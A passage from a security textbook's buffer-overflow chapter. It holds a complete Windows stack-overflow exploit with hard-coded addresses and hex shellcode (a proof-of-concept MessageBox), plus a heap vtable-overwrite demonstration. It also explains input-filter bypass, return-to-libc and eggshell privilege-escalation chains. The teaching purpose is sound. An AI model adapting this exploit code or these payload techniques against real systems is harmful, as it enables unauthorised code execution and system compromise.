file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 295
Building the Exploit
Since we examined the stack of a compiled program, we know that to take control
of the EIP register, we must overwrite the 8 bytes of the buffer, then 4 bytes
of a saved EBP register, and then 4 bytes of saved EIP.This means that we have
12 bytes of filler that must be filled with something. In this case, we&iexcl;&brvbar;ve chosen to
use 0x90, which is the hex value for the Intel NOP operation.This is an implementation
of a NOP sled, but we won&iexcl;&brvbar;t need to slide in this case because we
know where we need to go and can avoid it.This is just filler that we can use to
overwrite the buffer and EBP on the stack.We set this up using the memset() C
library call to set the first 12 bytes of the buffer to 0x90.
memset(writeme,0x90,12); //set my local string to nops
Finding a Jump Point
Next, we need to write out where we want the EIP to go. As mentioned before,
there are numerous ways to get the EIP to point to our code.Typically, I put a
debugging break point at the end of the function that returns, so I can see what
the state of the registers are when we are right before the vulnerable functions ret
instruction. In examining the registers in this case:
EAX = 00000001 EBX = 7FFDF000
ECX = 00423AF8 EDX = 00000000
ESI = 00000000 EDI = 0012FF80
ESP = 0012FF30 EBP = 90909090
We notice that the ESP points right into the stack, right after where the saved
EIP should be. After this ret, the ESP will move up 4 bytes and what is there
should be moved to the EIP. Also, control should continue from there.This means
that if we can get the contents of the ESP register into the EIP, we can execute
code at that point. Also notice how in the function epilogue, the saved EBP was
restored, but this time with our 0x90 string instead of its original contents.
So now we examine the memory space of the attacked program for useful
pieces of code that would allow us to get the EIP register to point to the ESP.
Since we have already written findjmp, we&iexcl;&brvbar;ll use that to find an effective place to
get our ESP into the EIP.To do this effectively, we need to see what DLLs are
imported into our attacked program and examine those loaded DLLs for potentially
vulnerable pieces of code.To do this, we could use the depends.exe program
www.syngress.com
296 Chapter 8 &iexcl;E Buffer Overflow
that ships with visual studio, or the dumpbin.exe utility that will allow you to
examine a program&iexcl;&brvbar;s imports.
In this case, we will use dumpbin for simplicity, since it can quickly tell us
what we need.We will use the command line:
dumpbin /imports samp4.exe
Microsoft (R) COFF Binary File Dumper Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file samp4.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll
426148 Import Address Table
426028 Import Name Table
0 time date stamp
0 Index of first forwarder reference
26D SetHandleCount
174 GetVersion
7D ExitProcess
1B8 IsBadWritePtr
1B5 IsBadReadPtr
1A7 HeapValidate
11A GetLastError
1B CloseHandle
51 DebugBreak
152 GetStdHandle
2DF WriteFile
1AD InterlockedDecrement
1F5 OutputDebugStringA
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 297
13E GetProcAddress
1C2 LoadLibraryA
1B0 InterlockedIncrement
124 GetModuleFileNameA
218 ReadFile
29E TerminateProcess
F7 GetCurrentProcess
2AD UnhandledExceptionFilter
B2 FreeEnvironmentStringsA
B3 FreeEnvironmentStringsW
2D2 WideCharToMultiByte
106 GetEnvironmentStrings
108 GetEnvironmentStringsW
CA GetCommandLineA
115 GetFileType
150 GetStartupInfoA
19D HeapDestroy
19B HeapCreate
19F HeapFree
2BF VirtualFree
22F RtlUnwind
199 HeapAlloc
1A2 HeapReAlloc
2BB VirtualAlloc
27C SetStdHandle
AA FlushFileBuffers
241 SetConsoleCtrlHandler
26A SetFilePointer
34 CreateFileA
BF GetCPInfo
B9 GetACP
131 GetOEMCP
1E4 MultiByteToWideChar
153 GetStringTypeA
www.syngress.com
298 Chapter 8 &iexcl;E Buffer Overflow
156 GetStringTypeW
261 SetEndOfFile
1BF LCMapStringA
1C0 LCMapStringW
Summary
3000 .data
1000 .idata
2000 .rdata
1000 .reloc
20000 .text
This shows that the only linked DLL loaded directly is kernel32.dll.
Kernel32.dll also has dependencies, but for now, we will just use that to find a
jump point.
Next, we load findjmp, looking in kernel32.dll for places that can redirect us
to the ESP.We run it as follows:
findjmp kernel32.dll ESP
And it tells us:
Scanning kernel32.dll for code useable with the ESP register
0x77E8250A call ESP
Finished Scanning kernel32.dll for code useable with the ESP register
Found 1 usable addresses
So we can overwrite the saved EIP on the stack with 0x77E8250A and when
the ret hits, it will put the address of a call ESP into the EIP.The processor will
execute this instruction, which will redirect processor control back to our stack,
where our payload will be waiting.
In the exploit code, we define this address as follows:
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findjmp.c
and then write it in our exploit buffer after our 12 byte filler like so:
memcpy(writeme+12,&EIP,4); //overwrite EIP here
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 299
Writing a Simple Payload
Finally, we need to create and insert our payload code. As stated before, we chose
to create a simple MessageBox that says &iexcl;§HI&iexcl;&uml; to us, just as a proof of concept. I
typically like to prototype my payloads in C, and then convert them to ASM.The
C code to do this is as follows:
MessageBox (NULL, "hi", NULL, MB_OK);
Typically, we would just recreate this function in ASM.You can use a disassembler
or debugger to find the exact ASM syntax from compiled C code.
We have one issue though; the MessageBox function is exported from
USER32.DLL, which is not imported into our attacked program, so we have to
force it to load itself.We do this by using a LoadLibraryA call. LoadLibraryA is the
function that WIN32 platforms use to load DLLs into a process&iexcl;&brvbar;s memory space.
LoadLibraryA is exported from kernel32.dll, which is already loaded into our DLL,
as the dumpbin output shows us. So we need to load the DLL, then call the
MessageBox, so our new code looks like:
LoadLibraryA("User32");
MessageBox(NULL, "hi", NULL, MB_OK);
We were able to leave out the &iexcl;§.dll&iexcl;&uml; on &iexcl;§user32.dll&iexcl;&uml; because it is implied, and
it saves us 4 bytes in our payload size.
Now the program will have user32 loaded (and hence the code for
MessageBox loaded), so the functionality is all there, and should work fine as we
translate it to ASM.
There is one last part that we do need to take into account, however: since
we have directly subverted the flow of this program, it will probably crash as it
attempts to execute the data on the stack after our payload. Since we are all polite
hackers, we should attempt to avoid this. In this case, it means exiting the process
cleanly using the ExitProcess() function call. So our final C code (before conversion
to assembly) is as follows:
LoadLibraryA("User32");
MessageBox(NULL, "hi", NULL, MB_OK);
ExitProcess(1);
We decided to use the inline ASM functionality of the visual C compiler to
create the ASM output of our program, and then just copied it to a BYTE buffer
for inclusion in our exploit.
www.syngress.com
300 Chapter 8 &iexcl;E Buffer Overflow
Rather than showing the whole code here, we will just refer you to the following
exploit program that will create the file, build the buffer from filler, jump
point, and payload, then write it out to a file.
If you wish to test the payload before writing it to the file, just uncomment
the small section of code noted as a test. It will execute the payload instead of
writing it to a file.
The following is a program that I wrote to explain and generate a sample
exploit for our overflowable function. It uses hard-coded function addresses, so it
may not work on a system that isn&iexcl;&brvbar;t running win2k sp2.
It is intended to be simple, not portable.To make it run on a different platform,
replace the #defines with addresses of those functions as exposed by
depends.exe, or dumpbin.exe, both of which ship with Visual Studio.
The only mildly advanced feature this code uses is the trick push.A trick push
is when a call is used to trick the stack into thinking that an address was pushed.
In this case, every time we do a trick push, we want to push the address of our
following string onto the stack.This allows us to embed our data right into the
code, and offers the added benefit of not requiring us to know exactly where our
code is executing, or direct offsets into our shellcode.
This trick works based on the fact that a call will push the next instruction
onto the stack as if it were a saved EIP intended to return to at a later time.We
are exploiting this inherent behavior to push the address of our string onto the
stack. If you have been reading the chapter straight through, this is the same trick
used in the Linux exploit.
Because of the built-in Visual Studio compiler&iexcl;&brvbar;s behavior, we are required to
use _emit to embed our string in the code.
#include <Windows.h>
/*
Example NT Exploit
Ryan Permeh, ryan@eeye.com
*/
int main(int argc,char **argv)
{
#define MBOX 0x77E375D5
#define LL 0x77E8A254
#define EP 0x77E98F94
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 301
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findoffset.c
BYTE writeme[65]; //mass overflow holder
BYTE code[49] ={
0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,
0x53, 0x45, 0x52, 0x33, 0x32, 0x00,
0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,
0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,
0x03, 0x00, 0x00, 0x00, 0x48, 0x49,
0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,
0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,
0xD0
};
HANDLE file;
DWORD written;
/*
__asm
{
call tag1 ; jump over(trick push)
_emit 0x55 ; "USER32",0x00
_emit 0x53
_emit 0x45
_emit 0x52
_emit 0x33
_emit 0x32
_emit 0x00
tag1:
// LoadLibrary("USER32");
mov EAX, LL ;put the LoadLibraryA address
in EAX
call EAX ;call LoadLibraryA
www.syngress.com
302 Chapter 8 &iexcl;E Buffer Overflow
push 0 ;push MBOX_OK(4th arg to mbox)
push 0 ;push NULL(3rd arg to mbox)
call tag2 ; jump over(trick push)
_emit 0x48 ; "HI",0x00
_emit 0x49
_emit 0x00
tag2:
push 0 ;push NULL(1st arg to mbox)
// MessageBox (NULL, "hi", NULL, MB_OK);
mov EAX, MBOX ;put the MessageBox
address in EAX
call EAX ;Call MessageBox
push 1 ;push 1 (only arg to
exit)
// ExitProcess(1);
mov EAX, EP ; put the ExitProcess
address in EAX
call EAX ;call ExitProcess
}
*/
/*
char *i=code; //simple test code pointer
//this is to test the code
__asm
{
mov EAX, i
call EAX
}
*/
/* Our overflow string looks like this:
[0x90*12][EIP][code]
The 0x90(nop)'s overwrite the buffer, and the saved EBP on the stack,
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 303
and then EIP replaces the saved EIP on the stack. The saved EIP is
replaced with a jump address that points to a call ESP. When call ESP
executes, it executes our code waiting in ESP.*/
memset(writeme,0x90,65); //set my local string to nops
memcpy(writeme+12,&EIP,4); //overwrite EIP here
memcpy(writeme+16,code,49); // copy the code into our temp buf
//open the file
file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
//we're done
return 1;
}
Learning Advanced Overflow Techniques
Now that basic overflow techniques have been explored, it is time to examine
some of the more interesting things you can do in an overflow situation. Some
of these techniques are applicable in a general sense; some are for specific situations.
Because overflows are becoming better understood in the programmer
community, sometimes it requires a more advanced technique to exploit a vulnerable
situation.
Input Filtering
Programmers have begun to understand overflows and are beginning to write
code that checks input buffers for completeness.This can cause attackers
headaches when they find that they cannot put whatever code they want into a
buffer overflow.Typically, only null bytes cause problems, but programmers have
begun to start parsing data so that it looks sane before attempting to copy it into
a buffer.
There are a lot of potential ways of achieving this, each offering a different
hurdle to a potential exploit situation.
www.syngress.com
304 Chapter 8 &iexcl;E Buffer Overflow
For example, some programmers have been verifying input values so that if
the input should be a number, it gets checked to verify that it is a number before
being copied to a buffer.There are a few standard C library calls that can verify
that the data is as it should be.A short table of some of the ones found in the
win32 C library follows.There are also wide character versions of nearly all of
these functions to deal in a Unicode environment.
int isalnum( int c ); checks if it is in A-Z,a-z,0-9
int isalpha( int c ); checks if it is in A-Z,a-z
int __isascii( int c ); checks if it is in 0x00-0x7f
int isdigit( int c ); checks if it is in 0-9
isxdigit( int c ); checks if it is in 0-9,A-F
Many UNIX C libraries also implement similar functions.
Custom exploits must be written in order to get around some of these filters.
This can be done by writing specific code, or by creating a decoder that encodes
the data into a format that can pass these tests.
There has been much research put into creating alphanumeric and low-
ASCII payloads; and work has progressed to the point where in some situations,
full payloads can be written this way.There have been MIME-encoded payloads,
and multibyte XOR payloads that can allow strange sequences of bytes to appear
as if they were ASCII payloads.
Another way that these systems can be attacked is by avoiding the input
check altogether. For instance, storing the payload in an unchecked environment
variable or session variable can allow you to minimize the amount of bytes you
need to keep within the bounds of the filtered input.
Incomplete Overflows and Data Corruption
There has been a significant rise in the number of programmers who have begun
to use bounded string operations like strncpy() instead of strcpy.These programmers
have been taught that bounded operations are a cure for buffer overflows.
however, it may come as a surprise to some that they are often implemented
wrong.
There is a common problem called an &iexcl;§off by one&iexcl;&uml; error, where a buffer is
allocated to a specific size, and an operation is used with that size as a bound.
However, it is often forgotten that a string must include a null byte terminator.
Some common string operations, although bounded, will not add this character,
effectively allowing the string to edge against another buffer on the stack with no
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 305
separation. If this string gets used again later, it may treat both buffers as one,
causing a potential overflow.
An example of this is as follows:
[buf1 - 32 bytes \0][buf2 - 32 bytes \0]
Now, if exactly 32 bytes get copied into buf1 the buffers now look like this:
[buf1 - 32 bytes of data ][buf2 - 32 bytes \0]
Any future reference to buf1 may result in a 64-byte chunk of data being
copied, potentially overflowing a different buffer.
Another common problem with bounds checked functions is that the bounds
length is either calculated wrong at runtime, or just plain coded wrong.This can
happen because of a simple bug, or sometimes because a buffer is statically allocated
when a function is first written, then later changed during the development
cycle. Remember, the bounds size must be the size of the destination buffer and
not that of the source. I have seen examples of dynamic checks that did a strlen()
of the source string for number of bytes that were copied.This simple mistake
invalidates the usefulness of any bounds checking.
One other potential problem with this is when a condition occurs in which
there is a partial overflow of the stack. Due to the way buffers are allocated on
the stack and bounds checking, it may not always be possible to copy enough
data into a buffer to overflow far enough to overwrite the EIP.This means that
there is no direct way of gaining processor control via a ret. However, there is still
the potential for exploitation even if you don&iexcl;&brvbar;t gain direct EIP control.You may
be writing over some important data on the stack that you can control, or you
may just get control of the EBP.You may be able to leverage this and change
things enough to take control of the program later, or just change the program&iexcl;&brvbar;s
operation to do something completely different than its original intent.
For example, there was a phrack (www.phrack.org) article written about how
changing a single byte of a stack&iexcl;&brvbar;s stored EBP may enable you to gain control of
the function that called you.The article is at www.phrack.org/show.php?p
=55&a=8 and is highly recommended.
A side effect of this can show up when the buffer you are attacking resides
near the top of the stack, with important pieces of data residing between your
buffer and the saved EIP. By overwriting this data, you may cause a portion of the
function to fail, resulting in a crash rather than an exploit.This often happens
when an overflow occurs near the beginning of a large function. It forces the rest
of the function to try to work as normal with a corrupt stack. An example of this
www.syngress.com
306 Chapter 8 &iexcl;E Buffer Overflow
comes up when attacking canary-protected systems.A canary-protected system is
one that places values on the stack and checks those values for integrity before
issuing a ret instruction to leave the function. If this canary doesn&iexcl;&brvbar;t pass inspection,
the process typically terminates. However, you may be able to recreate a
canary value on the stack unless it is a near-random value. Sometimes, static
canary values are used to check integrity. In this case, you just need to overflow
the stack, but make certain that your overflow recreates the canary to trick the
check code.
Stack Based Function Pointer Overwrite
Sometimes programmers store function addresses on the stack for later use.
Often, this is due to a dynamic piece of code that can change on demand.
Scripting engines often do this, as well as some other types of parsers. A function
pointer is simply an address that is indirectly referenced by a call operation.This
means that sometimes programmers are making calls directly or indirectly based
on data in the stack. If we can control the stack, we are likely to be able to control
where these calls happen from, and can avoid having to overwrite EIP at all.
To attack a situation like this, you would simply create your overwrite and
instead of overwriting EIP, you would overwrite the potion of the stack devoted
to the function call. By overwriting the called function pointer, you can execute
code similarly to overwriting EIP.You need to examine the registers and create
an exploit to suit your needs, but it is possible to do this without too much
trouble.
Heap Overflows
So far, this chapter has been about attacking buffers allocated on the stack.The
stack offers a very simple method for changing the execution of code, and hence
these buffer overflow scenarios are pretty well understood.The other main type
of memory allocation in a program is from the heap.The heap is a region of
memory devoted to allocating dynamic chunks of memory at runtime.
The heap can be allocated via malloc-type functions such as HeapAlloc(),
malloc(), and new(). It is freed by the opposite functions, HeapFree(), free(), and
delete(). In the background there is an OS component known as a Heap Manager
that handles the allocation of heaps to processes and allows for the growth of a
heap so that if a process needs more dynamic memory, it is available.
Heap memory is different from stack memory in that it is persistent between
functions.This means that memory allocated in one function stays allocated until
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 307
it is implicitly freed.This means that a heap overflow may happen but not be
noticed until that section of memory is used later.There is no concept of saved
EIP in relation to a heap, but there are other important things that often get
stored there.
Much like stack-based function pointer overflows, function pointers may be
stored on the heap as well.
Corrupting a Function Pointer
The basic trick to heap overflows is to corrupt a function pointer.There are
many ways to do this. First, you can try to overwrite one heap object from
another neighboring heap. Class objects and structs are often stored on the heap,
so there are usually many opportunities to do this.The technique is simple to
understand and is called trespassing.
Trespassing the Heap
In this example, two class objects are instantiated on the heap.A static buffer in
one class object is overflowed, trespassing into another neighboring class object.
This trespass overwrites the virtual-function table pointer (vtable pointer) in the
second object.The address is overwritten so that the vtable address points into
our own buffer.We then place values into our own Trojan table that indicate new
addresses for the class functions. One of these is the destructor, which we overwrite
so that when the class object is deleted, our new destructor is called. In this
way, we can run any code we want to &iexcl;X we simply make the destructor point to
our payload.The downside to this is that heap object addresses may contain a
NULL character, limiting what we can do.We either must put our payload somewhere
that doesn&iexcl;&brvbar;t require a NULL address, or pull any of the old stack referencing
tricks to get the EIP to return to our address.The following code
example demonstrates this method.
// class_tres1.cpp : Defines the entry point for the console
// application.
#include <stdio.h>
#include <string.h>
class test1
www.syngress.com
308 Chapter 8 &iexcl;E Buffer Overflow
{
public:
char name[10];
virtual ~test1();
virtual void run();
};
class test2
{
public:
char name[10];
virtual ~test2();
virtual void run();
};
int main(int argc, char* argv[])
{
class test1 *t1 = new class test1;
class test1 *t5 = new class test1;
class test2 *t2 = new class test2;
class test2 *t3 = new class test2;
//////////////////////////////////////
// overwrite t2's virtual function
// pointer w/ heap address
// 0x00301E54 making the destructor
// appear to be 0x77777777
// and the run() function appear to
// be 0x88888888
//////////////////////////////////////
strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX"\
"XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX XXXX\x54\x1E\x30\x00");
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 309
delete t1;
delete t2; // causes destructor 0x77777777 to be called
delete t3;
return 0;
}
void test1::run()
{
}
test1::~test1()
{
}
void test2::run()
{
puts("hey");
}
test2::~test2()
{
}
Figure 8.24 illustrates the example.The proximity between heap objects
allows you to overflow the virtual function pointer of a neighboring heap object.
Once overwritten, the attacker can insert a value that points back into the controlled
buffer, where the attacker can build a new virtual function table.The new
table can then cause attacker-supplied code to execute when one of the class
functions is executed.The destructor is a good function to replace, since it is executed
when the object is deleted from memory.
www.syngress.com
310 Chapter 8 &iexcl;E Buffer Overflow
Advanced Payload Design
In addition to advanced tricks and techniques for strange and vulnerable situations,
there are also techniques that allow your payload to operate in more environments
and to do more interesting things.We will cover some more advanced
topics regarding payload design and implementation that can allow you to have
more flexibility and functionality in your shellcode.
Buffer overflow attacks offer a very high degree of flexibility in design. Each
aspect of an exploit, from injecting the buffer to choosing the jump point; and
right up to innovative and interesting payload design can be modified to fit your
situation.You can optimize it for size, avoid intrusion detection systems (IDS), or
make it violate the kernel.
Using What You Already Have
Even simple programs often have more code in memory than is strictly necessary.
By linking to a dynamically loaded library, you tell the program to load that
www.syngress.com
Figure 8.24 Trespassing the Heap
C++ Object
VTABLE PTR
C++ Object
member variables
C++ Object
VTABLE PTR
C++ Object
member variables
grow down
C++ Object
VTable
_vfptr
_destructor
_functionYYY, etc.
_functionXXX
Buffer Overflow &iexcl;E Chapter 8 311
library at startup or runtime. Unfortunately, when you dynamically load a DLL
or shared library under UNIX, you are forced into loading the entire piece of
code into a mapped section of memory, not just the functions you specifically
need.This means that not only are you getting the code you need, but you are
potentially getting a bunch of other stuff loaded as well. Modern operating systems
and the robust machines upon which they run do not see this as a liability;
further, most of the code in a dynamic load library will never be referenced and
hence does not really affect the process in one way or another.
However, as an attacker, this gives you more code to use to your advantage.
You cannot only use this code to find good jump points; you can also use it to
look for useful bits and pieces that will already be loaded into memory for you.
This is where understanding of the commonly loaded libraries can come in
handy. Since they are often loaded, you can use those functions that are already
loaded but not being used.
Static linking can reduce the amount of code required to link into a process
down to the bare bones, but this is often not done. Like dynamic link libraries,
static libraries are typically not cut into little pieces to help reduce overhead, so
most static libraries also link in additional code.
For example, if Kernel32.dll is loaded, you can use any kernel32 function,
even if the process itself does not implicitly use it.You can do this because it is
already loaded into the process space, as are all of its dependencies, meaning there
is a lot of extra code loaded with every additional DLL, beyond what seems on
the surface.
Another example of using what you have in the UNIX world is a trick that
was used to bypass systems like security researcher solar designer&iexcl;&brvbar;s early Linux
kernel patches and kernel modifications like the PAX project.The first known
public exploitation of this was done by solar designer. It worked by overwriting
the stack with arguments to execve, then overwriting the EIP with the loaded
address of execve.The stack was set up just like a call to execve, and when the function
hit its ret and tried to go to the EIP, it executed it as such. Accordingly, you
would never have to execute code from the stack, which meant you could avoid
any stack execution protection.
Dynamic Loading New Libraries
Most modern operating systems support the notion of dynamic shared libraries.
They do this to minimize memory usage and reuse code as much as possible. As I
said in the last section, you can use whatever is loaded to your advantage, but
sometimes you may need something that isn&iexcl;&brvbar;t already loaded.
www.syngress.com
312 Chapter 8 &iexcl;E Buffer Overflow
Just like code in a program, a payload can chose to load a dynamic library on
demand and then use functions in it.We examined a example of this in the
simple Windows NT exploit example.
Under Windows NT, there are a pair of functions that will always be loaded
in a process space, LoadLibrary() and GetProcAddress().These functions allow us to
basically load any DLL and query it for a function by name. On UNIX, it is a
combination of dlopen() and dlsym().
These two functions both break down into categories, a loader, and a symbol
lookup.A quick explanation of each will give you a better understanding of their
usefulness.
A loader like LoadLibrary() or dlopen()loads a shared piece of code into a process
space. It does not imply that the code will be used, but that it is available for
use. Basically, with each you can load a piece of code into memory that is in turn
mapped into the process.
A symbol lookup function, like GetProcAddress() or dlsym(), searches the
loaded shared library&iexcl;&brvbar;s export tables for function names.You specify the function
you are looking for by name, and it returns with the address of the function&iexcl;&brvbar;s
start.
Basically, you can use these preloaded functions to load any DLL that your
code may want to use.You can then get the address of any of the functions in
those dynamic libraries by name.This gives you nearly infinite flexibility, as long
as the dynamic shared library is available on the machine.
There are two common ways to use dynamic libraries to get the functions
you need.You can either hardcode the addresses of your loader and symbol
lookups, or you can search through the attacked process&iexcl;&brvbar;s import table to find
them at runtime.
Hardcoding the addresses of these functions works well but can impair your
code portability.This is because only processes that have the functions loaded
where you have hardcoded them will allow this technique to work. For Windows
NT, this typically limits your exploit to a single service pack and OS combo, for
UNIX, it may not work at all, depending on the platform and libraries used.
The second option is to search the executable file&iexcl;&brvbar;s import tables.This works
better and is more portable, but has the disadvantage of being much larger code.
In a tight buffer situation where you can&iexcl;&brvbar;t tuck your code elsewhere, this may just
not be an option.The simple overview is to treat your shellcode like a symbol
lookup function. In this case, you are looking for the function already loaded in
memory via the imported functions list.This, of course assumes that the function
is already loaded in memory, but this is often, if not always, the case.This method
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 313
requires you to understand the linking format used by your target operating
system. For Windows NT, it is the PE, or portable executable format. For most
UNIX systems, it is the Executable and Linking Format (ELF).
You will want to examine the specs for these formats and get to know them
better.They offer a concise view of what the process has loaded at linkage time,
and give you hints into what an executable or shared library can do.
Eggshell Payloads
One of the strangest types of payload is what is known an eggshell payload.An
eggshell is an exploit within an exploit.The purpose is to exploit a lower privileged
program, and with your payload, attack and exploit a higher privileged
piece of code.
This technique allows you to execute a simple exploitation of a program to
get your foot in the door, then leverage that to march the proveribal army
through.This concept saves time and effort over attacking two distinct holes by
hand.The attacks tend to be symbiotic, allowing a low privilege remote attack to
be coupled with a high privilege local attack for a devastating combination.
We used an eggshell technique in our release of IISHack 1.5.This completely
compromises a Windows NT server running IIS 4. A full analysis and code is
available at http://www.eeye.com/html/Research/Ad...001003.html.We
used a known, non-privileged exploit, the &iexcl;§Unicode&iexcl;&uml; attack, to inject an asp file
onto the server. Unicode attacks execute in the process space of
IUSR_MACHINE, which is basically an unprivileged user.
We coupled this with an undisclosed .ASP parser overflow attack that ran in
the LOCAL_SYSTEM context.This allowed us to take a low grade but dangerous
remote attack and turn it quickly into a total system compromise.
www.syngress.com
314 Chapter 8 &iexcl;E Buffer Overflow
Summary
Buffer overflows are a real danger in modern computing.They account for many
of the largest, most devastating security vulnerabilities ever discovered.We showed
how the stack operates, and how modern compilers and computer architectures
use it to deal with functions.We have examined some exploit scenarios and laid
out the pertinent parts of an exploit.We have also covered some of the more
advanced techniques used in special situations or to make your attack code more
portable and usable.
Understanding how the stack works is imperative to understanding overflow
techniques.The stack is used by nearly every function to pass variables into and
out of functions, and to store local variables.The ESP points to the top of the
local stack, and the EBP to its base.The EIP and EBP are saved on the stack
when a function gets called, so that you can return to the point from which you
got called at the end of your function.
The general concept behind buffer overflow attacks revolves around overwriting
the saved EIP on the stack with a way to get to your code.This allows
you to control the machine and execute any code you have placed there.To successfully
exploit a vulnerable situation, you need to create an injector, a jump
point, and a payload.The injector places your code where it needs to be, the
jump point transfers control to your payload, and your payload is the actual code
you wish to execute.
There are numerous techniques that can be used to make your exploit work
better in a variety of situations.We covered techniques for bypassing input filtering
and dealing with incomplete overflows.We looked at how heap overflows
can happen and some simple techniques for exploiting vulnerable heap situations.
Finally, we examined a few techniques that can lead to better shellcode design.
They included using preexisting code and how to load code that you do not
have available to you at time of exploitation.
Solutions Fast Track
Understanding the Stack
The stack serves as local storage for variables used in a given function. It
is typically allocated at the beginning of a function in a portion of code
called the prologue, and cleaned up at the end of the function in the
epilogue.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 315
Often, parts of the stack are allocated for use as buffers within the
function. Because of the way the stack works, these are allocated as static
sizes that do not change throughout the function&iexcl;&brvbar;s lifetime.
Certain compilers may play tricks with stack usage to better optimize
the function for speed or size.There are also a variety of calling syntaxes
that will affect how the stack is used within a function.
Understanding the Stack Frame
A stack frame comprises of the space allocated for stack usage within a
function. It contains the saved EBP from the previous function call, the
saved EIP to return to the calling code, all arguments passed to the
function, and all locally allocated space for static stack variables.
The ESP register points to the top of the frame and the EBP register
points to the bottom of the frame.The ESP register shifts as items are
pushed onto and popped from the stack.The EBP register typically
serves as an anchor point for referencing local stack variables.
The call and ret Intel instructions are how the processor enters and exits
functions. It does this by saving a copy of the EIP that needs to be
returned to on the stack at the call and coming back to this saved EIP by
the ret instruction.
Learning about Buffer Overflows
Copying too much data into a buffer will cause it to overwrite parts of
the stack.
Since the EIP is popped off the stack by a ret instruction, a complete
overwrite of the stack will result in having the ret instruction pop off
user supplied data and transferring control of the processor to wherever
an attacker wants it to go.
Creating Your First Overflow
A stack overflow exploit is comprised of an injection, a jump point, and
a payload.
www.syngress.com
316 Chapter 8 &iexcl;E Buffer Overflow
Injection involves getting your specific payload into the attack&iexcl;&brvbar;s target
buffer.This can be a network connection, form input, or a file that is
read in, depending on your specific situation.
A jump point is the address with which you intend to overwrite the EIP
saved on the stack.There are a lot of possibilities for this overwrite,
including direct and indirect jumps to your code.There are other
techniques that can improve the accuracy of this jump, including NOP
sleds and Heap Spray techniques.
Payloads are the actual code that an attacker will attempt to execute.You
can write just about any code for your payload. Payload code is often
just reduced assembly instructions to do whatever an attacker wants. It is
often derived from a prototype in C and condensed to save space and
time for delivery.
Learning Advanced Overflow Techniques
There may be some type of input filtering or checking happening
before a buffer can be overflowed. Although this technique can reduce
the chances of a buffer overflow exploitation, it might still be possible to
attack these scenarios.These may involve crafting your exploit code to
bypass certain types of input filtering, like writing a purely alphanumeric
exploit.You may also need to make your exploit small to get past length
checks.
Sometimes, you do not get complete control of the EIP.There are many
situations where you can get only a partial overflow, but can still use that
to gain enough control to cause the execution of code.These typically
involve corrupting data on the stack that may be used later to cause an
overflow.You may also be able to overwrite function pointers on the
stack to gain direct control of the processor on a call.
Stack overflows are not the only types of overflows available to an
attacker. Heap-based overflows can still lead to compromise if they can
result in data corruption or function pointer overwrites that lead to a
processor-control scenario.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 317
Advanced Payload Design
You can use code that already is loaded due to normal process
operation. It can save space in your payload and offer you the ability to
use code exactly like the program itself can use it. Don&iexcl;&brvbar;t forget that there
is often more code loaded than a program is actually using, so a little
spelunking in the process memory space can uncover some really useful
preloaded code.
If you do not have everything your program needs, do not be afraid to
load it yourself. By loading dynamic libraries, you can potentially load
any code already existing on the machine.This can give you a virtually
unlimited resource in writing your payload.
Eggshells are exploits within exploits.They offer the benefit of parlaying
a less privileged exploit into a full system compromise.The basic concept
is that the payload of the first exploit is used to exploit the second
vulnerability and inject another payload.
Q: Why do buffer overflows exist?
A: Buffer overflows exist because of the state of stack usage in most modern
computing environments. Improper bounds checking on copy operations can
result in a violation of the stack.There are hardware and software solutions
that can protect against these types of attacks. However, these are often exotic
and incur performance or compatibility penalties.
Q: Where can I learn more about buffer overflows?
A: Reading lists like Bugtraq (www.securityfocus.com), and the associated papers
written about buffer overflow attacks in journals like Phrack can significantly
increase your understanding of the concept.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the &iexcl;§Ask the Author&iexcl;&uml; form.
318 Chapter 8 &iexcl;E Buffer Overflow
Q: How can I stop myself from writing overflowable code?
A: Proper quality assurance testing can weed out a lot of these bugs.Take time in
design, and use bounds checking versions of vulnerable functions.
Q: Are only buffers overflowable?
A: Actually, just about any incorrectly used stack variable can potentially be
exploited.There has recently been exploration into overflowing integer variables
on the stack.These types of vulnerabilities arise from the use of casting
problems inherent in a weakly typed language like C.There have recently
been a few high profile exploitations of this, including a Sendmail local compromise
(www.securityfocus.com/bid/3163) and an SSH1 remote vulnerability
(www.securityfocus.com/bid/2347).These overflows are hard to find
using automated tools, and may pose some serious problems in the future
Q: How do I find buffer overflows in code?
A: There are a variety of techniques for locating buffer overflows in code. If you
have source code for the attacked application, you can use a variety of tools
designed for locating exploitable conditions in code.You may want to examine
ITS4 (www.cigital.com/services/its4) or FlawFinder (www.dwheeler.com/
flawfinder). Even without source code, you have a variety of options. One
